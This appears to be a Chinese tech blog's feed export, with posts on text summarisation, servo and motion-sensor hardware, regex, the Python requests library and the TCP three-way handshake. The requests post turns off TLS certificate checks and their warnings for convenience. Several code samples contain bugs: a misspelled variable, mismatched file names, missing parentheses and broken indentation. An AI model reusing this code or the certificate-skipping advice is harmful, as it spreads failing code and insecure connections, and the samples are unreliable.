<p>玻森采用摘要公认的Bi-gram ROUGE F1方法来判断自动生成的摘要和“标准摘要”的接近程度。经过训练，玻森在训练数集上的表现相对于未学习的摘要结果有了明显的提升——训练后的摘要系统F1提高了30%。值得一提的是，在特征训练中，为了改善摘要结果的可读性，玻森加指代关系特征，使得模型表现提高了8%。</p>
<p>相关链接：</p>
<ul>
<li><p><a class="link"   href="http://bosonnlp.com/"  target="_blank" rel="noopener">http://bosonnlp.com/<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li></li>
<li><p><a class="link"   href="http://docs.bosonnlp.com/summary.html"  target="_blank" rel="noopener">http://docs.bosonnlp.com/summary.html<i class="fas fa-external-link-alt"></i></a></p>
</li>
</ul>
<p><strong>其他相关开源项目</strong>：</p>
<ul>
<li><p><a class="link"   href="https://github.com/isnowfy/snownlp"  target="_blank" rel="noopener">https://github.com/isnowfy/snownlp<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li></li>
<li><p><a class="link"   href="https://github.com/jannson/yaha"  target="_blank" rel="noopener">https://github.com/jannson/yaha<i class="fas fa-external-link-alt"></i></a></p>
</li>
<li></li>
<li><p><a class="link"   href="https://github.com/miso-belica/sumy"  target="_blank" rel="noopener">https://github.com/miso-belica/sumy<i class="fas fa-external-link-alt"></i></a></p>
</li>
</ul>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>树莓派3B+ 控制Sg90舵机</title>
    <url>/2021/07/06/raspberry-sg90/</url>
    <content><![CDATA[<p>舵机也就是伺服电机，是一种位置(角度)伺服的驱动器，适用于角度不断变化并可以保持在某一角度的控制系统中。最近帮一老乡实现一个毕设，通过树莓派端识别手势，来控制舵机的角度，舵机连接的太阳能板。</p>
<p>舵机主要是由外壳、电路板、驱动马达、减速器与位置检测元件所构成。其工作原理是由接收机发出讯号给舵机，经由电路板上的 IC驱动无核心马达开始转动，透过减速齿轮将动力传至摆臂，同时由位置检测器送回讯号，判断是否已经到达定位。</p>
<p>最常见的用于开发或实验的舵机型号就是sg90了。</p>
<p>Sg90舵机有3个输入引脚，分别是GND、VCC和Signal，VCC使用5V直流电压，signal通过PWM(脉冲宽度调制)信号来控制。</p>
<p><img src="https://images.yrzdm.com/imgs/20210706/o3DmD8f8P1Vq.png?imageslim" alt="mark"></p>
<p>假如我们使用的PWM频率为50Hz，对应周期T=20ms，脉冲长度t和转动方向之间的关系是线性的，如下图，其中Duty Cycle是占空比：</p>
<p><img src="https://images.yrzdm.com/imgs/20210706/ls8U8lNvVT93.png?imageslim" alt="mark"></p>
<p>有了以上信息，那如何使用树莓派来控制舵机呢？</p>
<p>在实验中，为了方便，可以把舵机的5V引脚接在树莓派的5V输出上(可能会引起树莓派供电不稳)，信号引脚接在树莓派的GPIO引脚上，通过python PRi.GPIO库来生成PWM的方式来控制舵机。这里我们把舵机的信号引脚接在树莓派的PWM引脚上。</p>
<p>树莓派的引脚分为两种一个是BCM 一个是BOARD模式，不同的模式对应的引脚不同，需要在定义引脚前设定模式。</p>
<p>其中，转动角度转换成占空比算式(方法duty_cycle中的数值计算)，可以通过如下图计算得出:<br><img src="https://images.yrzdm.com/imgs/20210706/kXAM3zs9RPUu.png?imageslim" alt="mark"></p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>regular-expression</title>
    <url>/2020/05/05/regular-expression/</url>
    <content><![CDATA[<p>正则表达式的重新学习</p>
<h2 id="回炉重学"><a href="#回炉重学" class="headerlink" title="回炉重学"></a>回炉重学</h2><p>之前学过正则表达式，仅仅停留在会用阶段，每次用的时候还要查语法，问过阿里和腾讯的大牛，有没有好的方法，他们说他们用的时候也要现查，我觉得这个操作不对。</p>
<p>昨晚做了一个梦，然后突然看明白了。</p>
<a id="more"></a>

<blockquote>
<p>正则表达式是定义搜索模式的一串字符串。 </p>
</blockquote>
<ol>
<li>基础<br>正则表达式通常格式化为<code>/&lt;rules&gt;/&lt;flags&gt;</code>  </li>
</ol>
<ul>
<li><strong>/p/g</strong>匹配所有的小写<strong>p</strong><br>a<strong>pp</strong>le</br></li>
</ul>
<p><strong>p</strong>ancake<br><strong>p</strong>inea<strong>pp</strong>le<br>mango<br>Plum</p>
<ul>
<li><strong>/pp/g</strong>匹配所有的小写字母pp<br>a<strong>pp</strong>le<br>pinea<strong>pp</strong>le<br>ha<strong>pp</strong>iness<br>si<strong>pp</strong>ing a<strong>pp</strong>le juice<br>papaya</li>
<li><strong>/[aeiou]/g</strong> 从一组字符中匹配一个字符<br>br<strong>i</strong>nj<strong>a</strong>l</br></li>
</ul>
<p><strong>a</strong>v<strong>o</strong>c<strong>a</strong>d<strong>o</strong><br><strong>o</strong>n<strong>io</strong>n<br>rhythm  </p>
<ul>
<li><strong>/[a-z]/g</strong>匹配所有小写字母<br>H<strong>john</strong>_<strong>s</strong></br></li>
</ul>
<p><strong>matej</strong>29  </p>
<ul>
<li><strong>/[A-Za-z0-9]/g</strong>匹配大小写字母和数字横行下划线  </li>
<li><strong>/[^aeiou]/g</strong>匹配非元音字符  </li>
<li>匹配数字字符<strong>\d</strong> 转义字符 <strong>\d</strong>表示匹配数字字符0-9<blockquote>
<p><strong>\D</strong> 是<strong>\d</strong>的反面，相当于[^0-9]</p>
</blockquote>
</li>
<li>单词字符 <strong>\w</strong>匹配单词字符，包括小写字母a-z,大写字母A-Z,数字0-9,下划线_<blockquote>
<p><strong>\W</strong> 相当于[^a-zA-Z0-9_]</p>
</blockquote>
</li>
<li>空白字符 \s 匹配空白字符，具体匹配取决于正则表达式引擎，大多数包括：</li>
</ul>
<ol>
<li>空格</li>
<li>tab制表符\t</li>
<li>回车\r</li>
<li>换行符\n</li>
<li>换页\f</li>
</ol>
<ul>
<li>. 可以匹配任意一个字符</li>
</ul>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>获取url重定向后的链接的技巧</title>
    <url>/2020/12/01/rederiction/</url>
    <content><![CDATA[<p>需要访问一个连接，这个连接访问后会重定向到一个url上，需要拿到重定向后的连接。</p>
<a id="more"></a>

<p>使用<code>requests</code>和<code>response</code>去访问连接然后使用<code>requests.url()</code>和<code>response.geturl()</code>这两个方法会出现一直在加载的情况。原因是这两个方法会将跳转后的url内容完全加载完，但当跳转后的连接资源比较大的时候可能会出现问题。</p>
<p><strong>解决方案</strong></p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> urlfetch <span class="hljs-keyword">as</span> urlfetch<br>url=<span class="hljs-string">"http://cx4.github.io/301"</span><br>response = urlfetch.fetch(url,follow_redirects=<span class="hljs-literal">False</span>)<br>location = response.headers[<span class="hljs-string">'location'</span>]<br>print(loction)<br></code></pre></td></tr></table></figure>

<p>这样就不用等跳转后的连接完整加载完后就可以拿到跳转后的连接地址了。</p>
]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>人体感应灯DIM</title>
    <url>/2020/04/21/relay-switch/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200421/nPuMrUviKhSP.png?imageslim" alt="人体感应灯制作"><br>最近储藏室的灯突然坏了，在这里再吐槽一下X科🐞,4M层高给安装个几毛钱的led，想要自己换都非常困难。</p>
<p>刚好之前买了一个LED的灯条没有用上，加上年纪大了总是有忘事的伪强迫症，干脆用灯条做一个人体感应的开关。Do it Myself</p>
<a id="more"></a>

<h3 id="需要的零件"><a href="#需要的零件" class="headerlink" title="需要的零件"></a>需要的零件</h3><ul>
<li><input checked="" disabled="" type="checkbox"> Esp8266</li>
<li><input checked="" disabled="" type="checkbox"> HC-SR501</li>
<li><input checked="" disabled="" type="checkbox"> relay</li>
<li><input checked="" disabled="" type="checkbox"> LED</li>
<li><input checked="" disabled="" type="checkbox"> 杜邦线6根</li>
</ul>
<p><img src="http://imgs.yrzdm.com/imgs/20200420/ijXlzH1exile.png?imageslim" alt="所需配件"></p>
<p><img src="http://imgs.yrzdm.com/imgs/20200420/tk7252AJHf0G.png?imageslim" alt="连接图"></p>
<h3 id="使用的语言MicroPython"><a href="#使用的语言MicroPython" class="headerlink" title="使用的语言MicroPython"></a>使用的语言<strong>MicroPython</strong></h3><figure class="highlight angelscript"><table><tr><td class="code"><pre><code class="hljs angelscript"><span class="hljs-keyword">import</span> machine<br><span class="hljs-keyword">from</span> machine <span class="hljs-keyword">import</span> Pin<br><span class="hljs-keyword">import</span> time<br>sr501 = Pin(<span class="hljs-number">12</span>,Pin.IN)<br>relay = Pin(<span class="hljs-number">5</span>,Pin.OUT)<br>led = Pin(<span class="hljs-number">4</span>,Pin.OUT)<br><span class="hljs-keyword">while</span> True:<br>time.sleep(<span class="hljs-number">3</span>)<br>  <span class="hljs-keyword">if</span> sr501.value() == <span class="hljs-number">0</span>:<br>    relay.value(<span class="hljs-number">1</span>)<br>    led.off()<br>  <span class="hljs-keyword">else</span>:<br>    relay.value(<span class="hljs-number">0</span>)<br>    time.sleep(<span class="hljs-number">10</span>)<br></code></pre></td></tr></table></figure>
<p>到这里，感应开关的制作就结束了，看了一下我的这个程序和家里的Yeelight的触发效果基本一样。感觉又被收了智商税😭</p>
<p>人体感应传感器的原理基于红外辐射，任何温度大于绝对零度的物体都会释放红外辐射。</p>
<blockquote>
<p>红外辐射这一物理现象的发现可泪溯到19世纪初[1]。但直到本世纪的50年代，红外技术才开始进入广泛<br>应的阶段。非接触测温技术也叫辐射测温，最早的非接触测温就是以光学高温计为代表的亮温法。以<br>后，人们根据斯蒂芬一玻尔兹曼公式，利用体辐射能与热力学温度关系进行测温，这就是全辐射氵则温和<br>部分辐射测温法。还有的人在光学高温计上进行改进，出现了光电高温计、红外温度计等。</p>
</blockquote>
]]></content>
      <categories>
        <category>docs</category>
        <category>micropython</category>
        <category>esp8266</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>requests的扩展用法</title>
    <url>/2020/12/02/requests-usage/</url>
    <content><![CDATA[<p>Python自带的网络请求库urllib的使用，能满足基本使用，但用起来有些繁琐，如Cookies处理、代理设置等，还有一点默认不支持gzip/deflate。</p>
<p>现在的网页普遍支持gzip压缩，以节约传输时间，在urlib中要返回压缩格式，需在请求头中写明accept-encoding，然后检查响应头里是否有accept-encoding判断是否需要解码</p>
<a id="more"></a>

<h4 id="Cookies"><a href="#Cookies" class="headerlink" title="Cookies"></a>Cookies</h4><figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> requests <span class="hljs-keyword">as</span> req<br><span class="hljs-keyword">import</span> json<br>headers = &#123;<br>    <span class="hljs-string">'User-Agent'</span>:<span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'</span><br>&#125;<br>url = <span class="hljs-string">"https://www.baidu.com"</span><br>resp = req.get(url=url,headers=headers)<br><span class="hljs-comment">#获得ReaquestsCookieJar</span><br>cookies = resp.cookies<br>print(type(cookies))<br>print(cookies)<br><span class="hljs-keyword">for</span> name, value <span class="hljs-keyword">in</span> cookies.items():<br>    print(<span class="hljs-string">"Cookie键值对："</span>, name, value)<br>    <br><span class="hljs-comment">#将CookieJar转换为字典</span><br>cookies_dict = req.utils.dict_from_cookiejar(cookies)<br>print(cookies_dict)<br><span class="hljs-comment">#保存cookies</span><br><span class="hljs-keyword">with</span> open(<span class="hljs-string">"cookie.txt"</span>,<span class="hljs-string">"w+"</span>) <span class="hljs-keyword">as</span> f:<br>    f.write(json.dumps(cookies_dict))<br><span class="hljs-comment">#读取cookies</span><br><span class="hljs-keyword">with</span> open(<span class="hljs-string">"cookies.txt"</span>,<span class="hljs-string">"r+"</span>) <span class="hljs-keyword">as</span> f:<br>    load_cookies = json.loads(f.read())<br><span class="hljs-comment">#将字典转换为CookieJar</span><br>exchange_cookies = req.utils.cookiejar_from_dict(load_cookies)<br>print(exchange_cookies)<br><span class="hljs-comment">#使用cookies</span><br>n_resp = req.get(url=url, headers=headers, cookies=cookies)<br></code></pre></td></tr></table></figure>

<h4 id="Session维持"><a href="#Session维持" class="headerlink" title="Session维持"></a>Session维持</h4><p>如果多次传递Cookies麻烦，可以试试Session(会话)维持，它会自动处理Cookies。类似于在一个浏览器页面登录后，后续请求都在这个页面进行，处于登录状态。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># Session会话</span><br>session = req.Session<br>login_resp = session.get(<span class="hljs-string">"登录页地址"</span>)<br>user_info_resp = session.get(<span class="hljs-string">"用户信息页地址"</span>)<br><br><span class="hljs-comment"># 注：通过单词传参的方式添加参数是不会对下次访问起作用的，需调用session.args.update()</span><br><span class="hljs-comment"># 除可设置cookies外，还可设置headers、params、proxies</span><br>url = <span class="hljs-string">'https://www.httpbin.org/cookies'</span><br>session = requests.session()<br>cook = &#123;<span class="hljs-string">'eare'</span>: <span class="hljs-string">'https://www.httpbin.org'</span>&#125;<br>session.cookies.update(cook)<br><br><span class="hljs-comment"># 还可调用 session.verify = False 来关闭证书验证</span><br></code></pre></td></tr></table></figure>

<h4 id="身份验证"><a href="#身份验证" class="headerlink" title="身份验证"></a>身份验证</h4><p>在访问需要验证登录的站点时，偶尔会遇到下面这样的身份页面：</p>
<p><img src="https://images.yrzdm.com/imgs/20201202/pxDErwR2cwnK.png?imageslim" alt="身份验证"></p>
<p>此时可以使用reqeusts自带的身份认证功能来登录。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-comment"># 身份认证</span><br><span class="hljs-keyword">import</span> requests<br><span class="hljs-keyword">from</span> requests.auth <span class="hljs-keyword">import</span> HTTPBasicAuth<br><span class="hljs-keyword">from</span> requests.auth <span class="hljs-keyword">import</span> HTTPDigestAuth<br><span class="hljs-keyword">from</span> requests_oauthlib <span class="hljs-keyword">import</span> OAuth1<br><br><span class="hljs-comment"># 基本身份认证</span><br>requests.get(<span class="hljs-string">'网站'</span>, auth=HTTPBasicAuth(<span class="hljs-string">'用户名'</span>, <span class="hljs-string">'密码'</span>))<br><span class="hljs-comment"># 此认证比较常用，还提供了更方便的写法</span><br>requests.get(<span class="hljs-string">'网站'</span>, auth=(<span class="hljs-string">'用户名'</span>, <span class="hljs-string">'密码'</span>))<br><br><span class="hljs-comment"># 摘要式身份认证</span><br>url = <span class="hljs-string">'http://httpbin.org/digest-auth/auth/user/pass'</span><br>resp = requests.get(url, auth=HTTPDigestAuth(<span class="hljs-string">'user'</span>, <span class="hljs-string">'pass'</span>))<br>print(resp.status_code)<br><br><span class="hljs-comment"># OAuth1</span><br>url = <span class="hljs-string">'https://api.twitter.com/1.1/account/verify_credentials.json'</span><br>auth = OAuth1(<span class="hljs-string">'YOUR_APP_KEY'</span>, <span class="hljs-string">'YOUR_APP_SECRET'</span>,<br>              <span class="hljs-string">'USER_OAUTH_TOKEN'</span>, <span class="hljs-string">'USER_OAUTH_TOKEN_SECRET'</span>)<br>requests.get(url, auth=auth)<br></code></pre></td></tr></table></figure>

<h4 id="SSL证书验证"><a href="#SSL证书验证" class="headerlink" title="SSL证书验证"></a>SSL证书验证</h4><p>越来越多的网站采用HTTPS协议，如果站点未能正确设置https证书或所用的证书不被ca机构认可，会出现SSL证书错误的提示，在浏览器上表现为，您的连接不是私密连接，在requests中报错</p>
<p><code>requests.exceptions.SSLError: HTTPSConnectionPool(host=&#39;xxx.xxx.xxx&#39;, port=443): Max retries exceeded with url: / (Caused by SSLError(SSLError(&quot;bad handshake: Error([(&#39;SSL routines&#39;, &#39;tls_process_server_certificate&#39;, &#39;certificate verify failed&#39;)])&quot;)))</code></p>
<p>可以设置<code>verify=False</code>来跳过证书验证，跳过后可能还会报错：<br><code>/usr/local/lib/python3.7/site-packages/urllib3/connectionpool.py:857: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)</code></p>
<p>如果觉得厌烦可以通过设置忽略警告的方式来屏蔽</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> requests<br><span class="hljs-keyword">from</span> requests.packages <span class="hljs-keyword">import</span> urllib3<br>urllib3.disable_warnings()<br>resp = requests.get(test_url, verify=<span class="hljs-literal">False</span>)<br></code></pre></td></tr></table></figure>

<p>也可以指定一个本地证书作为客户端证书</p>
<p><code>response = resquests.get(url,cert=(&#39;/path/server.crt&#39;,&#39;/path/server.key&#39;))</code></p>
<p>本地私有证书的key需为解密状态，不支持加密状态的key！！！</p>
<h4 id="超时"><a href="#超时" class="headerlink" title="超时"></a>超时</h4><p>网络状况复杂，当本地网络较差、远程服务器网络延时甚至无响应时，客户端可能要等待很久才能收到响应，甚至收不到响应而报错。为了防止服务器不能及时响应，应当设置一个超时时间，当超过这个时间没得到响应，就抛出异常。需要用到<strong>timeout</strong>参数，代表发出请求到服务器器响应的时间，默认None，永久等待，永不超时。</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python">requests.get(<span class="hljs-string">'https://httpbin.org/get'</span>, timeout=<span class="hljs-number">30</span>)<br><br><span class="hljs-comment"># 请求分为两个阶段：connect和read，单个参数时指的两者的和</span><br><span class="hljs-comment"># 也可以分别指定，传入一个元素即可，如</span><br>requests.get(<span class="hljs-string">'https://httpbin.org/get'</span>, timeout=(<span class="hljs-number">5</span>,<span class="hljs-number">25</span>)<br></code></pre></td></tr></table></figure>

<h4 id="socks"><a href="#socks" class="headerlink" title="socks"></a>socks</h4><p>除了基本的HTTP代理，Requests还支持Socks协议的带来，可选，如果想使用，需安装第三方库</p>
<p><code>pip install requests[socks]</code></p>
<p>安装好后和使用方式与HTTP代理类似：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python">proxies = &#123;<br>    <span class="hljs-string">'http'</span>: <span class="hljs-string">'socks5://user:pass@host:port'</span>,<br>    <span class="hljs-string">'https'</span>: <span class="hljs-string">'socks5://user:pass@host:port'</span><br>&#125;<br></code></pre></td></tr></table></figure>

<h4 id="Prepared-Requests"><a href="#Prepared-Requests" class="headerlink" title="Prepared Requests"></a>Prepared Requests</h4><p>除了直接通过request.get()/post()来发起一个请求外，你还可以自行构造一个Request对象来发起请求。代码示例如下：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">from</span> requests <span class="hljs-keyword">import</span> Request, Session<br><br>url = <span class="hljs-string">'http://httpbin.org/post'</span><br>data = &#123;<span class="hljs-string">'name'</span>: <span class="hljs-string">'CoderPig'</span>&#125;<br>headers = &#123;<br>    <span class="hljs-string">'User-Agent'</span>: <span class="hljs-string">'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '</span><br>                  <span class="hljs-string">'Chrome/83.0.4103.97 Safari/537.36 '</span>,<br>&#125;<br>session = Session()<br>req = Request(<span class="hljs-string">'POST'</span>, url, data=data, headers=headers)<br>prepped = session.prepare_request(req)<br>resp = session.send(prepped)<br>print(resp.json())<br></code></pre></td></tr></table></figure>

]]></content>
      <categories>
        <category>docs</category>
        <category>python</category>
        <category>index</category>
      </categories>
      <tags>
        <tag>Python</tag>
      </tags>
  </entry>
  <entry>
    <title>为什么TCP连接要进行三次握爪</title>
    <url>/2020/08/20/tcp-handshake/</url>
    <content><![CDATA[<p><img src="http://imgs.yrzdm.com/imgs/20200820/aUCbhW6g3RiG.png?imageslim" alt="tcp connection"><br>TCP 协议是我们几乎每天都会接触到的网络协议，绝大多数网络连接的建立都是基于 TCP 协议的，学过计算机网络或者对 TCP 协议稍有了解的人都知道 —— 使用 TCP 协议建立连接需要经过三次握手（three-way handshake）。</p>
<a id="more"></a>
<p>如果让我们简单说说 TCP 建立连接的过程，相信很多准备过面试的人都会非常了解，但是一旦想要深究『为什么 TCP 建立连接需要三次握手？』，作者相信大多数人都没有办法回答这个问题或者会给出错误的答案，这边文章就会讨论究竟为什么我们需要三次握手才能建立 TCP 连接？</p>
<h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p>在具体分析今天的问题之前，我们首先可以了解一下最常见的错误类比，这个对 TCP 连接过程的错误比喻误导了很多人，作者在比较长的一段时间内也认为它能够很好地描述 TCP 建立连接为什么需要三次握手：</p>
<ol>
<li>你听得到吗？</li>
<li>我能听到，你听得到？</li>
<li>我也能听到；</li>
</ol>
<p>这种用类比来解释问题往往就会面临『十个类比九个错』的尴尬局面，如果别人用类比回答你的为什么，你需要仔细想一想它的类比里究竟哪里有漏洞；类比带来的解释往往只能有片面的相似性，我们永远也无法找到绝对正确的类比，它只在我们想要通俗易懂地展示事物的特性时才能发挥较大的作用，我们在文章的后面会介绍为什么这里的类比有问题，各位读者也可以带着疑问来阅读剩下的内容。</p>
<p>很多人尝试回答或者思考这个问题的时候其实关注点都放在了三次握手中的<strong>三次</strong>上面，这确实很重要，但是如果重新审视这个问题，我们对于『什么是连接』真的清楚？只有知道<strong>连接的定义</strong>，我们才能去尝试回答为什么 TCP 建立连接需要三次握手。</p>
<blockquote>
<p>The reliability and flow control mechanisms described above require that TCPs initialize and maintain certain status information for each data stream. The combination of this information, including sockets, sequence numbers, and window sizes, is called a connection.</p>
</blockquote>
<p><a class="link"   href="https://tools.ietf.org/html/rfc793"  target="_blank" rel="noopener">RFC 793 - Transmission Control Protocol<i class="fas fa-external-link-alt"></i></a> 文档中非常清楚地定义了 TCP 中的连接是什么，我们简单总结一下：用于保证可靠性和流控制机制的信息，包括 Socket、序列号以及窗口大小叫做连接。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/aUCbhW6g3RiG.png?imageslim" alt="tcp connection"></p>
<p>所以，建立 TCP 连接就是通信的双方需要对上述的三种信息达成共识，连接中的一对 Socket 是由互联网地址标志符和端口组成的，窗口大小主要用来做流控制，最后的序列号是用来追踪通信发起方发送的数据包序号，接收方可以通过序列号向发送方确认某个数据包的成功接收。</p>
<p>到这里，我们将原有的问题转换成了『为什么需要通过三次握手才可以初始化 Sockets、窗口大小和初始序列号？』，那么接下来我们就开始对这个细化的问题进行分析并寻找解释。</p>
<h3 id="设计"><a href="#设计" class="headerlink" title="设计"></a>设计</h3><p>这篇文章主要会从以下几个方面介绍为什么我们需要通过三次握手才可以初始化 Sockets、窗口大小、初始序列号并建立 TCP 连接：</p>
<ul>
<li>通过三次握手才能阻止重复历史连接的初始化；</li>
<li>通过三次握手才能对通信双方的初始序列号进行初始化；</li>
<li>讨论其他次数握手建立连接的可能性；</li>
</ul>
<p>这几个论点中的第一个是 TCP 选择使用三次握手的最主要原因，其他的几个原因相比之下都是次要的原因，我们在这里对它们的讨论只是为了让整个视角更加丰富，通过多方面理解这一有趣的设计决策。</p>
<h4 id="历史连接"><a href="#历史连接" class="headerlink" title="历史连接"></a>历史连接</h4><p><a class="link"   href="https://tools.ietf.org/html/rfc793"  target="_blank" rel="noopener">RFC 793 - Transmission Control Protocol<i class="fas fa-external-link-alt"></i></a> 其实就指出了 TCP 连接使用三次握手的首要原因 —— 为了阻止历史的重复连接初始化造成的混乱问题，防止使用 TCP 协议通信的双方建立了错误的连接。</p>
<blockquote>
<p>The principle reason for the three-way handshake is to prevent old duplicate connection initiations from causing confusion.</p>
</blockquote>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/JQs3V9X6UWKl.png?imageslim" alt="tcp recovery from old duplicate syn"></p>
<p>想象一下这个场景，如果通信双方的通信次数只有两次，那么发送方一旦发出建立连接的请求之后它就没有办法撤回这一次请求，如果在网络状况复杂或者较差的网络中，发送方连续发送多次建立连接的请求，如果 TCP 建立连接只能通信两次，那么接收方只能选择接受或者拒绝发送方发起的请求，它并不清楚这一次请求是不是由于网络拥堵而早早过期的连接。</p>
<p>所以，TCP 选择使用三次握手来建立连接并在连接引入了 <code>RST</code> 这一控制消息，接收方当收到请求时会将发送方发来的 <code>SEQ+1</code> 发送给对方，这时由发送方来判断当前连接是否是历史连接：</p>
<ul>
<li>如果当前连接是历史连接，即 <code>SEQ</code> 过期或者超时，那么发送方就会直接发送 <code>RST</code> 控制消息中止这一次连接；</li>
<li>如果当前连接不是历史连接，那么发送方就会发送 <code>ACK</code> 控制消息，通信双方就会成功建立连接；</li>
</ul>
<p>使用三次握手和 <code>RST</code> 控制消息将是否建立连接的最终控制权交给了发送方，因为只有发送方有足够的上下文来判断当前连接是否是错误的或者过期的，这也是 TCP 使用三次握手建立连接的最主要原因。</p>
<h4 id="初始序列号"><a href="#初始序列号" class="headerlink" title="初始序列号"></a>初始序列号</h4><p>另一个使用三次握手的重要的原因就是通信双方都需要获得一个用于发送信息的初始化序列号，作为一个可靠的传输层协议，TCP 需要在不稳定的网络环境中构建一个可靠的传输层，网络的不确定性可能会导致数据包的缺失和顺序颠倒等问题，常见的问题可能包括：</p>
<ul>
<li>数据包被发送方多次发送造成数据的重复；</li>
<li>数据包在传输的过程中被路由或者其他节点丢失；</li>
<li>数据包到达接收方可能无法按照发送顺序；</li>
</ul>
<p>为了解决上述这些可能存在的问题，TCP 协议要求发送方在数据包中加入『序列号』字段，有了数据包对应的序列号，我们就可以：</p>
<ul>
<li>接收方可以通过序列号对重复的数据包进行去重；</li>
<li>发送方会在对应数据包未被 ACK 时进行重复发送；</li>
<li>接收方可以根据数据包的序列号对它们进行重新排序；</li>
</ul>
<p>序列号在 TCP 连接中有着非常重要的作用，初始序列号作为 TCP 连接的一部分也需要在三次握手期间进行初始化，由于 TCP 连接通信的双方都需要获得初始序列号，所以它们其实需要向对方发送 <code>SYN</code> 控制消息并携带自己期望的初始化序列号 <code>SEQ</code>，对方在收到 <code>SYN</code> 消息之后会通过 <code>ACK</code> 控制消息以及 <code>SEQ+1</code> 来进行确认。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/t7tFphIaTaq5.png?imageslim" alt="basic 4-way handshake"></p>
<p>如上图所示，通信双方的两个 <code>TCP A/B</code> 分别向对方发送 <code>SYN</code> 和 <code>ACK</code> 控制消息，等待通信双方都获取到了自己期望的初始化序列号之后就可以开始通信了，由于 TCP 消息头的设计，我们可以将中间的两次通信合成一个，<code>TCP B</code> 可以向 <code>TCP A</code> 同时发送 <code>ACK</code> 和 <code>SYN</code> 控制消息，这也就帮助我们将四次通信减少至三次。</p>
<blockquote>
<p>A three way handshake is necessary because sequence numbers are not tied to a global clock in the network, and TCPs may have different mechanisms for picking the ISN’s. The receiver of the first SYN has no way of knowing whether the segment was an old delayed one or not, unless it remembers the last sequence number used on the connection (which is not always possible), and so it must ask the sender to verify this SYN. The three way handshake and the advantages of a clock-driven scheme are discussed in [3].</p>
</blockquote>
<p>除此之外，网络作为一个分布式的系统，其中并不存在一个用于计数的全局时钟，而 TCP 可以通过不同的机制来初始化序列号，作为 TCP 连接的接收方我们无法判断对方传来的初始化序列号是否过期，所以我们需要交由对方来判断，TCP 连接的发起方可以通过保存发出的序列号判断连接是否过期，如果让接收方来保存并判断序列号却是不现实的，这也再一次强化了我们在上一节中提出的观点 —— 避免历史错连接的初始化。</p>
<h4 id="通信次数"><a href="#通信次数" class="headerlink" title="通信次数"></a>通信次数</h4><p>当我们讨论 TCP 建立连接需要的通信次数时，我们经常会执着于为什么通信三次才可以建立连接，而不是两次或者四次；讨论使用更多的通信次数来建立连接往往是没有意义的，因为我们总可以<strong>使用更多的通信次数交换相同的信息</strong>，所以使用四次、五次或者更多次数建立连接在技术上都是完全可以实现的。</p>
<p><img src="http://imgs.yrzdm.com/imgs/20200820/AoSn8t46DjWs.png?imageslim" alt="basic 3-way handshake"></p>
<p>这种增加 TCP 连接通信次数的问题往往没有讨论的必要性，我们追求的其实是用更少的通信次数（理论上的边界）完成信息的交换，也就是为什么我们在上两节中也一再强调使用『两次握手』没有办法建立 TCP 连接，使用三次握手是建立连接所需要的最小次数。</p>
<h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>我们在这篇文章中讨论了为什么 TCP 建立连接需要经过三次握手，在具体分析这个问题之前，我们首先重新思考了 TCP 连接究竟是什么，<a class="link"   href="https://tools.ietf.org/html/rfc793"  target="_blank" rel="noopener">RFC 793 - Transmission Control Protocol - IETF Tools<i class="fas fa-external-link-alt"></i></a> 对 TCP 连接有着非常清楚的定义 —— 用于保证可靠性和流控制机制的数据，包括 Socket、序列号以及窗口大小。</p>
<p>TCP 建立连接时通过三次握手可以有效地避免历史错误连接的建立，减少通信双方不必要的资源消耗，三次握手能够帮助通信双方获取初始化序列号，它们能够保证数据包传输的不重不丢，还能保证它们的传输顺序，不会因为网络传输的问题发生混乱，到这里不使用『两次握手』和『四次握手』的原因已经非常清楚了：</p>
<ul>
<li>『两次握手』：无法避免历史错误连接的初始化，浪费接收方的资源；</li>
<li>『四次握手』：TCP 协议的设计可以让我们同时传递 <code>ACK</code> 和 <code>SYN</code> 两个控制信息，减少了通信次数，所以不需要使用更多的通信次数传输相同的信息；</li>
</ul>
<p>我们重新回到在文章开头提的问题，为什么使用类比解释 TCP 使用三次握手是错误的？这主要还是因为，这个类比没有解释清楚核心问题 —— 避免历史上的重复连接。到最后，我们还是来看一些比较开放的相关问题，有兴趣的读者可以仔细想一下下面的问题：</p>
<ul>
<li>除了使用序列号是否还有其他方式保证消息的不重不丢？</li>
<li>UDP 协议有连接的概念么，它能保证数据传输的可靠么？</li>
</ul>
<blockquote>
